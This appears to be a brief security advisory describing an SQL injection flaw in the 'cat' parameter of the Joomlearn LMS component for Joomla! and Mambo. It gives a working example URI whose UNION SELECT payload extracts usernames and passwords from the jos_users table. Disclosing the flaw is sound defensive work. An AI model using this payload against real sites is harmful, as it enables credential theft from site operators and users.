|
Joomla! and Mambo Joomlearn LMS Component 'cat' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following example URI is available: http://www.example.com/index.php?option=com_lms&task=showTests&cat=-1 union select 1,concat(username,char(32),password),3,4,5,6,7 from jos_users/* |
|
|
Privacy Statement |
